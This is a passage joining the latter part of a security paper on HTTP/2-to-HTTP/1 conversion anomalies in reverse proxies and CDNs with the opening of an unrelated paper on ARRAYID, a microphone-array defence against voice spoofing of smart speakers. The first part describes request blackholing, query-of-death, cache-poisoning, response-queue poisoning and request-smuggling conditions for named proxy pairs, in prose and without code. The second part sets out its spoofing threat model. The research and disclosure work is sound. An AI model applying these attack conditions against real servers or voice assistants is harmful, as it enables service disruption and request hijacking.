tion and frame-sequence testing methodology as in testing for
DoS attacks. To detect Request Blackholing, we look for any
normal sequences that either never received a response or that
received a 400 error code and note the mutated sequence that
was sent directly before it. We confirm the attack by sending
just that mutated sequence followed by the normal sequence.
In the case of CDNs, we send a batch of 256 of the mutated
sequences in parallel, followed by one normal sequence. If
we see that the normal sequence again either receives a 400
response code or never receives a response, then we say that
the attack is possible.

As shown in Figure 5, we find that Request Blackholing is
possible when ATS is the reverse proxy and either NGINX or
HAProxy is the origin server, and that only anomalies in the
category "incomplete content-length without body" make the
attack possible.

The fact that only anomalies of this type enabled the attack
is significant as it reduces an attacker’s capabilities. Depend-
ing on how much control an attacker has over the request
that enables the attack, a Request Blackholing attack could
be used as part of a powerful request hijacking attack.

For example, imagine a website where some page accepts
POST requests and where some part of the body of the re-
quest is displayed on the page itself, such as the page to edit
one’s profile on a social media site. If one sends the mutated
sequence that results in a Request Blackholing attack as a
request to this page, then subsequent requests are interpreted
as part of the body and are displayed in plain text on the target
page, potentially allowing an attacker to steal cookies and
passwords.

However, because the only anomaly type that enabled the
attack does not have a body, an attacker does not have the
ability to send any data that might be required of the request
for it to be interpreted correctly by the target application. Thus,
in the absence of an "echo" page that displays anything sent
in the body, an attacker can only use the Request Blackholing
attack to perform a DoS on the affected server pairs.

An additional caveat of the attack is that each mutated
sequence allows for the blackholing of just one other request,
making the attack symmetric. An attacker can repeatedly
send out mutated frame sequences and blackhole other users’
requests as fast as they can send them out.

7.3 Query-of-Death
We additionally discovered a Query-of-Death attack that
works when Caddy is the reverse proxy. In this attack, the
mutated sequence is sent once per persistent connection be-
tween Caddy and the origin. Requests are then forwarded until
Caddy becomes unresponsive. The Caddy process does not
crash, but becomes unresponsive even to control commands,
so Caddy must be killed and manually restarted.

As shown in Figure 6, the attack is possible between Caddy
and every origin server except for Varnish using anomalies
in the categories "incomplete content-length with body," "in-
complete content-length without body," and "missing last
chunk." We only speculate, but we believe the attack does
not work on Varnish because it quickly detects the anomalous
HTTP/1 request and fails early, whereas some subsequent
communication between the other origins and Caddy causes
the attack.

7.4 CPDoS Attack
Cache-Poisoned Denial-of-Service (CPDoS) attacks aim to
have a caching server store a negative response (i.e., error
response) for a legitimate URI (e.g.,/home) [23]. An attacker
must send a malicious request (with the victim URI) that
gets forwarded by the caching server to the origin server.
When the request reaches the origin server, it triggers an error
and eventually the origin returns a negative response. This
negative response is saved by the caching server which is now
poisoned.

To test for this attack, we send every converted HTTP/1
request captured to each of our twelve servers. We look for re-
quest response pairs where the request method is a "cacheable
method" and the response status code is "cacheable by de-
fault" as defined by RFC 7231 [8].

We find that the "repeating header value" conversion
anomaly meets this criteria. Essentially, when ATS gener-
ates and sends a GET request with transfer-encoding:
chunked, chunked header to NGINX, Caddy, Traefik or
Envoy Proxy, the upstream server responds with 501 Not
Implemented status code.

By default, ATS does not cache negative responses. We
enable negative response caching on ATS, put all susceptible
servers one by one as the upstream server to the ATS and
finally send HTTP/2 frame sequences which create the needed
conversion anomaly.

Our attempts to poison the ATS cache all failed. We believe
that it is because the abnormal request is not the first request
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forwarded by ATS. Essentially, ATS forwards multiple re-
quests for a single HTTP/2 input sequence and the poisoning
request is the second request forwarded to the upstream server
and ATS does not cache the response for a request it does not
forward first.

7.5 Response Queue Poisoning
Researchers have shown that it is possible to poison the re-
sponse queue of a reverse proxy with an additional HTTP
response of which the reverse proxy is unaware [5, 18]. This
forces the reverse proxy to mix up the request response match-
ing and eventually allows the attacker to retrieve responses for
the requests of victim users. Attackers achieve this through
smuggling an HTTP request into the request buffer of the up-
stream server and have it send a response back to the reverse
proxy for the smuggled request. As a result, the reverse proxy
sends that response for another request and from that point
on the response queue is poisoned with an "off by one" error
until the underlying connection is killed.

Reverse proxies that are affected by the "multiple for-
warded requests" anomaly, send additional requests to up-
stream servers. None of those requests come from the down-
stream server (or client) showing a clear potential for Re-
sponse Queue Poisoning.

In a test environment, we put susceptible reverse proxies
before every server separately. We create two different pages
on the origin, one for the victim and one for the attacker.
The simulated victim continuously sends HTTP/2 requests
to the target and the simulated attacker sends HTTP/2 frame
sequences which create the "multiple forwarded requests"
anomaly. Finally, we look for a case where the victim receives
a response to the page requested by the attacker.

In the end, we did not observe the victim user receiving a
response intended for the attacker. However, we believe that
the outcome could be different in a real-world setup because
the number of users and requests in real-world setups is much
larger than what we have in this test setup.

7.6 HTTP Request Smuggling
Past research has shown that when the body parsing behavior
of a reverse proxy and the upstream server differs in a way
that they disagree about the message boundaries, bad things
happen [5,16,17]. Ultimately one server sees a single request,
whereas the other sees two. The "second request" (i.e., smug-
gled request) can be used for many type of severe attacks
from cache poisoning to request hijacking.

Any body parsing difference between two servers in the re-
quest chain can be abused for HRS. Many conversion anoma-
lies, especially "invalid header value" and "repeating header
name", we document in this paper show a clear potential for
causing a difference in body parsing behavior. For "invalid
header value", as the example in Listing 10 (left side) shows,

Figure 5: Attacks caused by abnormal conversions.

non-numeric values are forwarded to the upstream server. If
an upstream server happens to trim anything not numeric to
extract the header value or if it decides to ignore the body as
the value is invalid, a real potential for HRS emerges. As an
example, if a comma is added to the content-length value,
previous research identified that some servers parse this differ-
ently [16]. The requests in the "repeating header name" (i.e.,
with two content-length headers with different values) cat-
egory can cause a different body parsing behavior between
servers, if one of them chooses the first content-length to
decide the body size while the other chooses the second.

We take every request (including the ones from the sus-
ceptible categories) captured from the forwarding of each
reverse proxy and send them to each server and examine the
responses. We find that some responses include two response
codes signaling that the server sees two requests in what was
sent by another server as a single request. We then manually
check them to confirm whether it can be used for HRS.

Interestingly, we find that none of the requests which we
confirm to have the HRS ability is generated as a result of an
abnormal conversion. They usually have a request method or
an invalid header name which makes them useful for HRS.
Affected pairs are shown in Figure 6. The reasons for each of
them is summarized below:

• ATS, HAProxy, Envoy Proxy and Fastly forward a re-
quest with HEAD method, transfer-encoding header
and a chunked body. Caddy and Traefik ignore the body
in such requests.

• Cloudflare and Fastly forward a request with GET or HEAD
method and a request body. Akamai ignores the body in
such requests.

• Akamai forwards a request with transfer-encoding:
identity having a vertical tab character or a new
page character added before the header name, a
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Figure 6: Attacks not caused by abnormal conversions.

transfer-encoding: chunked header and a request
body. CloudFront ignores the body in such requests.

The HRS case affecting Akamai-CloudFront is interesting
from the conversion anomaly perspective. We do not count
it as an conversion anomaly, because essentially the reverse
proxy can treat it as any header that it does not recognize and
forward it to the upstream. It is interesting that CloudFront
treats that as a valid header and chooses not to see the response
body in a request with two separate transfer-encoding
headers having different values.

Even though the HRS cases we find in this research are
not caused by an abnormal conversion, we think that they are
still valuable because they demonstrate one more use case
of FRAMESHIFTER. To give an example, FRAMESHIFTER
can be used to generate and send a large number of mutated
HTTP/2 frame sequences to a server pair where the reverse
proxy is an HTTP/2 server and the upstream server is an
HTTP/1 server. If the upstream server responds with multiple
status codes, it can be concluded that HRS is affecting the
tested pair.

8 Discussion & Conclusion

In this paper we set out to explore the HTTP/2-to-HTTP/1
protocol conversion, a near-universal behavior observed with
all major CDNs and reverse proxy technologies, from a se-
curity viewpoint. In doing so, we successfully met our goals
and answered the research questions we laid out in Section 1.
Specifically, we presented FRAMESHIFTER and an accompa-
nying HTTP/2 frame manipulation methodology to test pop-
ular proxy technologies against conversion anomalies (Q1),
systematically explored the causes and effects involved in Sec-
tion 6 (Q2), and finally translated our findings into concrete
web application attacks in Section 7 (Q3).

Before we wrap up, below we highlight the fundamental
limitations of our work and provide a high-level analysis of
the discovered issues from a systems safety engineering lens.

Limitations. The anomaly discovery phase of this work
relies on fuzz testing. While fuzzing has evolved into a de
facto method for security analysis, as the name implies, fuzz
testing is primarily a testing tool. Consequently, the find-
ings we present in this paper are the results of a system-
atic investigation, but not an exhaustive one. That is a funda-
mental limitation of all fuzzing-based approaches. We make
FRAMESHIFTER publicly available in the hopes that the secu-
rity community expands on it, and that these findings lead to
more robust methodologies for analyzing protocol conversion
anomalies.

We also point out that, while all attacks we present are prac-
tical, real-life exploitation will still be impacted by various
factors including proxy configurations, security products de-
ployed on path that can block anomalous requests, and other
man-in-the-middle devices that can transform the traffic in
unpredictable ways, rendering some attacks ineffective. This
is not a limitation of our work per se.

A Systems Safety Problem...with a Different Spin.
Recent trends in web application security signal that

systems-level attacks are rapidly taking over the more tra-
ditional exploitation vectors. Attacks such as Web Cache
Deception and HTTP Request Smuggling are harbingers of a
new wave of web application security concerns affecting sys-
tem interactions, rather than individual component resilience.
In particular, both Mirheidari et al [21, 22] and Jabiyev et
al. [16] explicitly call out that these attacks are a consequence
of the increasingly complex interactions between Internet
infrastructure components (i.e., clients, servers, and proxies),
and that there is no particular failing component–this tracks
the systems safety engineering literature [20].

The issues we present in this paper begin in a similar vein.
Foremost, protocol conversion is necessitated due to the ex-
istence of competing HTTP versions and conflicting perfor-
mance & business requirements between the entities involved
in the communication. Furthermore, vulnerabilities depend
on the exact technologies present on the traffic path, their
designs, and their implementation specifics. Therefore, we
reiterate the takeaways of prior work: Identifying protocol
conversion vulnerabilities and their impact on web applica-
tions is not straightforward when systems are analyzed in a
bubble. The methodologies, tools, technologies devised to an-
alyze and address these concerns need to consider all HTTP
processors on the traffic path and their complex interactions.
Unfortunately, doing security at this scale still poses many
open research questions.

Despite this general view of systems safety, we note that
the specific categories of attacks we present in this paper have
relatively straightforward mitigations that could directly be
implemented on the proxies. In other words, every conversion
anomaly we have identified is patchable by the respective
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vendor, without coordination with the client or origin technol-
ogy vendors. Thus, our findings represent a more tractable
subset of the aforementioned systems safety problem space.
However, we point out once again that our fuzzing-based dis-
covery scheme is not exhaustive, and that this observation is
not generalizable to all protocol conversion anomalies.

The above observation also implies that conversion anoma-
lies could be minimized with guidance from the relevant pro-
tocol specifications, in an effort to standardize this mechanism
among different technologies and avoid the most common
pitfalls. In fact, the HTTP/2 protocol specification RFC 7540,
under the section “Security Considerations, Intermediary En-
capsulation Attacks” briefly touches on similar attack vectors,
but does not go into details [3]. While standardization is not
the panacea for this issue, we believe there is significant room
for improving the state of the art by providing formal HTTP/2-
to-HTTP/1 conversion guidelines.

Ethical Considerations

We have conducted this study within a controlled experimen-
tal setup. We did not launch any attacks against external enti-
ties. We followed the established coordinated-disclosure best
practices; we notified all tested technology vendors of our
findings, provided them with a copy of this paper, and made
our data and team available for further assistance.

The vendors have acknowledged the impact of our reported
issues, and we have coordinated with them on implementing
the appropriate mitigations. Apache Traffic Server confirmed
the Request Blackholing issue and all the anomalies we re-
ported; they are planning to assign the appropriate CVEs and
have patches ready in an upcoming release. Envoy Proxy
confirmed the DoS attack and discovered a gap in their DoS
protection. Varnish also confirmed our finding and reported
they would have a patch in their next release. Caddy requested
us to report the findings to their underlying Go HTTP library,
developed and maintained by Google. Google confirmed the
Query-of-Death attack; they will have a patch in the next
release and a CVE assigned for the issue. One of the authors
of this work is affiliated with Akamai, and has coordinated
the fixes internally with the vendor. The remaining vendors
acknowledged receiving our report, but did not provide infor-
mation about the remediation actions they took.
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Abstract
Though playing an essential role in smart home systems, smart
speakers are vulnerable to voice spoofing attacks. Passive
liveness detection, which utilizes only the collected audio
rather than the deployed sensors to distinguish between live-
human and replayed voices, has drawn increasing attention.
However, it faces the challenge of performance degradation
under the different environmental factors as well as the strict
requirement of the fixed user gestures.

In this study, we propose a novel liveness feature, array
fingerprint, which utilizes the microphone array inherently
adopted by the smart speaker to determine the identity of
collected audios. Our theoretical analysis demonstrates that
by leveraging the circular layout of microphones, compared
with existing schemes, array fingerprint achieves a more ro-
bust performance under the environmental change and user’s
movement. Then, to leverage such a fingerprint, we propose
ARRAYID, a lightweight passive detection scheme, and elab-
orate a series of features working together with array fin-
gerprint. Our evaluation on the dataset containing 32,780
audio samples and 14 spoofing devices shows that ARRAYID
achieves an accuracy of 99.84%, which is superior to existing
passive liveness detection schemes.

1 Introduction

Nowadays, voice assistance-enabled smart speakers serve as
the hub of popular smart home platforms (e.g., Amazon Alexa,
Google Home) and allow the user to remotely control home
appliances (e.g., smart lighter, locker, thermostat) or query in-
formation (e.g., weather, news) as long as it can hear the user.
However, the inherent broadcast nature of voice unlocks a
door for adversaries to inject malicious commands (i.e., spoof-
ing attack). Besides the classical replay attack [12,48], emerg-
ing attacks leveraging flaws in smart speakers are also pro-
posed by researchers. On the hardware side, the non-linearity
of the microphone’s frequency response provides a door for
inaudible ultrasound-based attacks (e.g., Dolphin attack [52]

and BackDoor attack [35]). For the software aspect, the deep
learning models employed by both speech recognition and
speaker verification are proved to be vulnerable to emerging
adversarial attacks such as hidden voice [7], Commander-
Song [50], and user impersonation [53]. Spoofing attacks
impose emerging safety issues (e.g., deliberately turn on the
smart thermostat [13]) and privacy risks (e.g., querying user’s
schedule information) on the smart speaker and therefore
cause great concern.

To defend against spoofing attacks, researchers have pro-
posed a variety of countermeasures. Almost all counter-
measures leverage the fact that voices in the spoofing at-
tack are played by electrical devices (e.g., high-quality loud-
speaker [48], ultrasonic dynamic speaker [52]). Thus, the
physical characteristics, which are different between humans
and machines, could be used as the “liveness” factors. The
existing countermeasures (aka., liveness detection) could be
divided into multi-factor authentication and passive scheme.
The former combines the collected audio and additional phys-
ical quantity (e.g., acceleration [15], electromagnetic field [9],
ultrasound [55], Wi-Fi [32], mm-Wave [14]) to distinguish
between the human voice and the machine-generated one. By
contrast, the passive scheme only considers the audio data
collected by the smart speaker. Its key insight is that the differ-
ence of articulatory manners between real humans (i.e., vocal
vibration and mouth movement) and electrical machines (i.e.,
diaphragm vibration) will result in the subtle but significant
differences in the collected audios’ spectrograms. Passive
schemes based on mono audio [3, 6] and two-channel au-
dio [5, 49] have already been proposed and could be directly
incorporated in the smart speaker’s software level.

However, the existing liveness detection schemes face a
series of challenges in the aspects of usability and efficiency,
which seriously hinder their real-world deployment in prac-
tice. On the one hand, to capture the liveness factor of a
real human, multiple-factor authentication either requires the
user to carry specialized sensors (e.g., accelerator, magne-
tometer) or actively emits probe signals (e.g., ultrasounds,
wireless signals), which adds additional burdens for users.
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On the other hand, passive schemes leveraging sub-bass low-
frequency area (20~300 Hz in [6]) or voice area (below 10
kHz in [3]) of mono audio’s spectrum as liveness factor are
vulnerable to sound propagation channel’s change and the
spectrum modulated-based attack [48]. Another scheme [49]
aiming to extract audio’s fieldprint from two-channel audio re-
quires the user to keep a fixed manner to ensure the robustness
of such fingerprints. As a result, the scheme is difficult to be
deployed in many practical scenarios (e.g., users walking or
having gesture changes). Therefore, it is desirable to propose
a novel passive liveness detection scheme with the following
merits: (i) Device-free: performing passive detection only
relying on the collected audio; (ii) Resilient to environment
change: being robust to dynamic sound propagation channel
and user’s movement, (iii) High accuracy: achieving high
accuracy compared to existing works.

Motivations. To achieve a device-free, robust passive live-
ness detection, in this study, we propose ARRAYID, a micro-
phone array-based liveness detection system, to effectively
defend against spoofing attacks. ARRAYID is motivated from
the basic observation that the microphone array has been
widely adopted by the mainstream smart speakers (e.g., both
of Amazon Echo 3rd Gen [30] and Google Home Max [45]
having 6 microphones), which is expected to significantly
enhance the diversity of the collected audios thanks to the
different locations and mutual distances of the microphones
in this array. By exploiting the audio diversity, ARRAYID
can extract more useful information related to the target user,
which is expected to significantly improve the robustness and
accuracy of the liveness detection.

Challenges. To implement this basic idea, this study tries
to address the following three key challenges: (i) Theoreti-
cally, what is the advantage of adopting a microphone array
compared with a single microphone? (ii) Considering the dy-
namic audio propagation channel, how can we eliminate the
distortions caused by environment factors (e.g., dynamic air
channel and user’s position changes) by leveraging the micro-
phone array? (iii) Considering that our work is the first one to
leverage microphone array for liveness detection and there is
no large-scale microphone array-based indoor audio dataset
available so far, how can we demonstrate the effectiveness
and accuracy of the proposed scheme?

To solve the above three problems, we first build a sound
propagation model based on the wave propagation theory and
then leverage it to theoretically assess the impact of environ-
ment factors (e.g., articulatory gesture, sound decay pattern,
propagation path) on the final collected audio’s spectrum.
Secondly, after collecting multi-channel audio, we give a for-
mal definition of array fingerprint and discuss the theoretic
performance gain of adopting microphone array, which can
leverage the relationship among different channels’ data to
eliminate the distortions caused by factors including air chan-
nel and user’s position changes. Thirdly, we collect and build
the first array fingerprint-based open dataset containing multi-

channel voices from 38,720 voice commands. To evaluate
the effectiveness of ARRAYID, we compare ARRAYID with
previous passive schemes (i.e., CAFIELD [49], and VOID [3])
on both our dataset and a third-party dataset called ReMasc
Core dataset [18]. ARRAYID achieves the authentication accu-
racy of 99.84% and 97.78% on our dataset and ReMasc Core
dataset, respectively, while the best performance of existing
schemes [3,49] on these two datasets are 98.81% and 84.37%
respectively. The experimental results well demonstrate the
effectiveness and robustness of ARRAYID.

To the best of our knowledge, our work is the first to exploit
the circular microphone array of the smart speaker to perform
passive liveness detection in a smart home environment. The
contributions of this study are summarized as follows:

• Novel system. We design, implement and evaluate AR-
RAYID for thwarting voice spoofing attacks. By only
using audio collected from a smart speaker, ARRAYID
does not require the user to carry any device or conduct
additional action.

• Effective feature. We give a theoretical analysis of prin-
ciples behind passive detection and propose a robust
liveness feature: the array fingerprint. This novel feature
both enhances effectiveness and broadens the application
scenarios of passive liveness detection.

• Robust performance. Experimental results on both our
dataset and a third-party dataset show that ARRAYID
outperforms existing schemes. Besides, we evaluate mul-
tiple factors (e.g., distance, direction, spoofing devices,
noise) and demonstrate the robustness of ARRAYID.

• New large-scale dataset. A dataset containing 14 differ-
ent spoofing devices collected by microphone array will
be available to researchers, vendors, and developers for
evaluating further liveness detection schemes.

The rest of this paper is organized as follows. In Section 2,
we introduce the preliminaries of this study. In Section 3,
we propose the concept of the array fingerprint and proof its
advantages by both theoretical analysis and experiments. We
elaborate on the detailed design of ARRAYID in Section 4,
which is followed by evaluation, discussion, and related work
in Sections 5, 6, and 7, respectively. Finally, we conclude this
paper in Section 8.

2 Preliminaries

2.1 Threat Model
In this study, we focus on the voice spoofing attack, which
can be categorized into the following two types.

Classical replay attacks. To fool the voice assistance, the
attacker collects the legitimate user’s audio samples and then
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Figure 1: Sound generation and propagation in smart home.

plays it back with a high-quality loudspeaker [12]. The vic-
tim’s voice audio can be recorded or captured in many man-
ners, which is not limited to websites, daily life talking, phone
calls, etc. The replay attack is the most effective among vari-
ous spoofing approaches since it preserves the most compre-
hensive voiceprint of the victim and requires no cumbersome
hardware configurations and software parameter fine-tuning.

Advanced adversarial attacks. Even if attackers can only
collect a limited number of the target user’s voice samples,
by adopting the latest voice synthesized technique [8], it is
still feasible to attack existing speech recognition and speaker
verification systems. For instance, the adversary can craft
subtle noises into the audio (e.g., hidden voice [7], music [50]
or a broadcaster’s voice [53]) or inaudible ultrasounds [35,
52] to launch an attack without raising the victim’s concern.
Moreover, by carefully modifying the spectrum of spoofing
audio, the modulated attack [48] proposed by Wang et al.,
demonstrates the feasibility of bypassing existing mono audio-
based liveness detection schemes [6].

Similar to the previous works [3, 6, 49], in this study, the
adversary is assumed to already obtain the victim’s audio
samples and can remotely control the victim’s audio device
(e.g., smart TV, smartphone) to launch the voice spoofing
attack. In this study, we mainly investigate how to leverage
passive liveness detection to thwart replay attacks since most
of the existing voice biometric-based authentication (human
speaker verification) systems are vulnerable to this kind of
replay attack. We also study ARRAYID’s performance on
thwarting advanced attacks including modulated attack [48],
hidden voice [7], and VMask [53] in Section 5.4.3.

2.2 Sound Generation and Propagation
Before reviewing existing passive liveness detection schemes,
it is important to describe the sound generation and propaga-
tion process.

Sound generation. As shown in Figure 1(a), voice com-
mands are generated by a human or electrical device (i.e.,
loudspeaker). For the loudspeaker, given an original voice
command signal x( f , t), where f represents the frequency
and t is time, the loudspeaker utilizes the electromagnetic
field change to vibrate the diaphragm. The movement of the
diaphragm suspends and pushes air to generate the sound
wave s( f , t) = hdev( f , t) · x( f , t), where hdev( f , t) represents
the channel gain in the sound signal modulation by the device

as shown in Figure 1(b). Similarly, when a user speaks voice
commands, their mouth and lips also modulate the air and we
can use huser( f , t) to represent the modulation gain, where the
generated sound is s( f , t) = huser( f , t) · x( f , t) 1. Finally, the
generated sound s( f , t) is spread through the air and captured
by the smart speaker.

Sound transmission. Currently, smart speakers usually
have a microphone array (e.g., Amazon Echo 3rd Gen [30]
and Google Home Max [45] both have 6 microphones). For
a given microphone, when sound is transmitted to it, the air
pressure at the microphone’s location can be represented as
y( f , t) = hair(d, f , t) · s( f , t), where d is the distance of the
transmission path between the audio source and the micro-
phone and hair(d, f , t) is the channel gain in the air propaga-
tion of the sound signal.

Sound processing within the smart speaker. Finally,
y( f , t) is converted to an electrical signal by the microphone.
Since the microphones employed by mainstream smart speak-
ers usually have a flat frequency response curve in the fre-
quency area of the human voice, we assume smart speakers
save original sensed data y( f , t) which is also adopted by
existing studies [49]. Finally, the collected audio signal is
uploaded to the smart home cloud to further influence the
actions of smart devices.

2.3 Passive Liveness Detection
The recently proposed liveness detection schemes could be di-
vided into two categories: mono channel-based detection (e.g.,
Sub-bass [6] and VOID [3]) and fieldprint-based detection
(i.e., CAFIELD [49]).

2.3.1 Mono Channel-based Detection

Principles. As shown in Figure 1(a), the different sound gen-
eration principles between real human and electrical spoof-
ing devices could be characterized as two different filters:
huser( f , t) and hdev( f , t). If ignoring the distortion in the
sound signal transmission, hair(d, f , t) could be considered
as a constant value A. Thus, the received audio samples in
authentic and spoofing attack scenarios are yauth(d, f , t) =
A ·huser( f , t) ·x( f , t) and yspoo f (d, f , t) =A ·hdev( f , t) ·x( f , t),

1In the real-world scenario, there is no such x( f , t) during human voice
generation process. However, the concepts of x( f , t) and huser( f , t) are widely
used [6] and will help us understand features in Section 4.3.
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Figure 2: Spectrums of authentic and spoofing voices when
putting the smart speaker at different rooms.

respectively. Since A and x( f , t) are the same, it means that
the spectrograms of the received audio samples already con-
tain the identity of the audio source (the real user huser( f , t)
or the spoofing one hdev( f , t)). Figure 2(a) shows the spec-
trums of the voice command “OK Google” and its spoofing
counterpart. It’s observed that the sub-bass spectrum (20-300
Hz) between two audio samples are quite different even if
they are deemed similar, and this phenomenon is utilized by
mono channel-based schemes such as Sub-base [6].
Limitations. However, in a real-world environment,
hair(d, f , t) cannot always be regarded as a constant.
The surrounding object’s shape and materials, the sound
transmission path, and the absorption coefficient of air all
affect the value of hair(d, f , t). As shown in Figure 2(a) and
Figure 2(b), the spectrograms of authentic and spoof audio
samples change drastically when putting the smart speaker in
different rooms. The experimental result from Section 5.2
and [3] demonstrates the performance of liveness detection
undergoes degradation when handling datasets in which
audios are collected from complicated environments (e.g.,
ASVSpoofing 2017 Challenge [23], ReMasc Core [18]).

2.3.2 Fieldprint-based Detection

Principles. The concept of fieldprint [49] is based on the
assumption that audio sources with different articulatory be-
haviors will cause a unique “sound field” around them. By
measuring the field characteristics around the audio source,
it is feasible to induce the audio’s identity. CAFIELD is the
typical scheme which deploys two microphones to receive
two audios y1( f , t) and y2( f , t), and defines the fieldprint as:

Field = log(
y1( f , t)
y2( f , t)

). (1)

Limitations. Measuring stable and accurate fieldprint re-
quires the position between the audio source and the print
measure sensors must be relatively stable. For instance,
CAFIELD only performs well when the user holds a smart-
phone equipped with two microphones close to the face in a
fixed manner. The fieldprint struggles in far distances (e.g.,
greater than 40 cm in [49]), making it unsuitable for a home
environment, in which users want to communicate with a
speaker across the room. The goal of this study is to propose
a novel and robust feature for passive liveness detection.

3 Array Fingerprint

In this section, we propose a novel and robust liveness fea-
ture array fingerprint and elaborate the rationale behind AR-
RAYID by answering the following critical questions:

RQ1: How can we model the sound propagation in smart
speaker scenarios and answer why existing features (e.g., field-
print) cannot be effective in such scenarios?

RQ2: How can we extract a useful feature from multi-
channel voice samples that is robust regarding a user’s loca-
tion and microphone array’s layout?

RQ3: What are the benefits of the array fingerprint? Is it
effective and robust to the distortions caused by environmental
factors?

3.1 Theoretical Analysis on Sound Propaga-
tion for Smart Speakers

To answer question RQ1, we give a theoretical analysis of
sound propagation in a smart speaker scenario by following
the model proposed in Section 2.2 and discuss the limitations
of the previous works.
Sound propagation model for smart speakers. Figure 3 il-
lustrates the scenario when audio signals are transmitted from
source to microphone array. The audio source is regarded as
a point with coordinate (L,0) and the microphones are evenly
distributed on a circle. Given the k-th microphone Mk, the
collected audio data is yk( f , t) = hair(dk, f , t) · s( f , t), where
dk is the path distance from the audio source to Mk. In the
theoretical analysis, to simplify the description of the channel
gain hair(dk, f , t), we apply the classic spherical sound wave
transmission model in air [19].2 Thus, hair(dk, f , t) can be
estimated as:

hair(dk, f , t) =Ce−αcdk =Ce−α(s( f ,t))dk , (2)

where C is the attenuation coefficient, and αc is the absorption
coefficient which varies with the signal frequency f . There-
fore, we replace αc with α(s( f , t)). Then, from Section 2.2,
the collected audio in Mk can be represented as:

yk( f , t) = hair(dk, f , t) · s( f , t) =Ce−α(s( f ,t))dk · s( f , t). (3)

Existing passive liveness detection schemes are vulnera-
ble to environmental changes. From equation 3, it is ob-
served that changing the relative distance between the micro-
phone and audio source will cause non-linear distortion on
the microphone’s collected signal. Such distortion is related
to the original s( f , t) and thus is hard to be eliminated. This
is the reason why mono channel-based detection schemes are
fragile to the change of propagation path.

2In real-world scenarios, sound decay in the air is correlated with many
factors such as temperature, medium, and surrounding objects. Using the
classical model simplifies the question and the effectiveness of ARRAYID
will be demonstrated by experiments in Section 3.3.
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Figure 3: Sound propagation in microphone array scenario.

For the fieldprint-based solution, from equation 1, the
extracted feature can be represented as log(yi/y j) =
−α(s( f , t)) · lg(e) · (di− d j). When the positions of the mi-
crophone pair are fixed (i.e., di− d j) can be regarded as a
constant), the above feature is a function of originally gen-
erated s( f , t) containing liveness factor as described in Sec-
tion 2.3. However, when the microphone’s position changes,
the di− d j will no longer be a stable value, and leveraging
such a feature becomes infeasible.

3.2 Advantage of Array Fingerprint: Defini-
tion and Simulation-based Demonstration

In this subsection, we answer RQ2 by defining the array fin-
gerprint and mathematically demonstrating its effectiveness.

From the theoretical analysis in Section 3.1, to achieve
robust liveness detection, the extracted channel feature has to
minimize the effects of the propagation factors such as C and
dk. Inspired by the circular layout of microphones in smart
speaker as shown in Figure 3, we define the array fingerprint
AF as below:

AF = std(log[y1,y2, ...,yN ])

= std(C−α(s( f , t)) · lg(e) · [d1,d2, ...,dN ])

=−α(s( f , t)) · lg(e) · std([d1,d2, ...,dk])

= AF(s( f , t),σd).

(4)

From equation 4, we know that the array fingerprint is
mainly dominated by source audio s( f , t) and standard de-
viation of propagation distances σd = std([d1,d2, ...,dN ]).
However, to effectively capture the audio’s identity, which
can be derived from s( f , t), the hypothesis that σd could be
regarded as a constant parameter must be proved.

To demonstrate the above hypothesis, the propagation dis-
tance between audio source S0 and each microphone should
be precisely determined. To achieve this goal, as shown in
Figure 3, we denote the center of the microphone array of the
smart speaker and the audio source (e.g., human or electrical
machine) as origin O and S0(L,0) respectively. For the k-th
microphone Mk, its coordinate can be represented as:

−−→
OMk = (r ·cos(θ+

2π(k−1)
N

), r · sin(θ+
2π(k−1)

N
)), (5)

where r is of the radius of the microphone array, N is the
number of microphones, and θ is the angle between M1 and

Figure 4: σd values when propagation path changes.

X axis. Thus the distance dk between S0 and Mk could be
represented as:

dk = |
−−−→
MkS0|= r

√
1+(

l
r
)2−2(

l
r
)cos(θ+

2π(k−1)
N

). (6)

To verify the robustness of σd , we performed a simulation
based on the multi-microphone speaker with a radius of 5 cm
used by Amazon Echo 3rd Gen [30]. The distance L varies
from 1 m to 3 m, the θ changes from 0 to 90 degrees. The
microphone number N are set as 8, 6, 4, and 2, respectively.

Figure 4 shows the simulation results under different micro-
phone numbers. When employing more than 4 microphones,
the σd converges to a constant value. For instance, when
N = 6, σd has an average of 3.38 cm with the range of only
7.9×10−4 cm. However, when N is set to 2 (i.e., the scenario
in fieldprint-based scheme [49]), the σd varies from 0 to 7.07
cm. Since the microphone array of the smart speaker usually
has more than four microphones, the σd which is almost un-
changed can be regarded as a constant parameter that merely
impacts the AF .

From the above theoretical analysis and simulation, it can
be derived that the array fingerprint is mainly related to the
source audio s( f , t) and thus resilient to the changes of en-
vironmental factors, especially for the distance. This is why
array fingerprint outperforms other features from mono or
two-channel audios [3, 6, 49].

3.3 Validation of Array Fingerprint

Besides theoretical analysis, to answer RQ3, we further vali-
date the effectiveness of the proposed array fingerprint via a
series of real-world case studies.

In the experiment, the participant is required to speak the
command “Ok Google" at distances of 0.6 m and 1.2 m, re-
spectively. Figure 5(a) shows the audio signal clips collected
by a microphone array with six microphones, and the au-
dio difference between different channels is obvious. When
employing the concept of fieldprint, it is observed from Fig-
ure 5(b) that the fieldprints extracted from microphone pair
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Figure 5: Illustration of stability of array fingerprint under two locations.
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Figure 6: Differentiating human voice from two spoofing de-
vices via array fingerprints under different propagation paths.

(M1,M2) and (M1,M5) are quite different.3 Among different
distances, the fieldprints are also quite different. However,
from Figure 5(c) we can see that the array fingerprints for
different distances are very similar.4

To show the distinctiveness of array-print, we also con-
ducted replay attacks via smartphones and iPad (i.e., device
#8 and # 3 in Table 6 of Appendix B). The normalized array
fingerprints (i.e., FSAP in Section 4.3.1) are shown in Figure 6.
It is observed that the array fingerprints for the same audio
sources are quite similar, while array fingerprints for differ-
ent audio sources are quite different. Our theoretical analysis
and experimental results demonstrate the array fingerprint
can serve as a better passive liveness detection feature. This
motivates us to design a novel, lightweight and robust system
which will be presented in the next section.

4 The Design of ARRAYID

As shown in Figure 7, we propose ARRAYID, a robust live-
ness detection system based on the proposed array fingerprint
with other auxiliary features. ARRAYID consists of the fol-
lowing modules: Data Collection Module, Pre-processing
Module, Feature Extraction Module, and Attack Detection
Module. We will elaborate on the details of each module in
this section.

4.1 Multi-channel Data Collection

Currently, most popular smart speakers, such as Amazon Echo
and Google, employ a built-in microphone array to collect

3The real process of extracting fieldprint is more complicated. Figure 5(b)
shows the basic principle following the descriptions in equation 1.

4This array fingerprint is refined after extracting from equation 4. The
detailed calculation steps are described in Section 4.3.1.
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Figure 7: System overflow.

voice audio. However, due to privacy and commercial con-
cerns, the user of the smart speaker cannot access the original
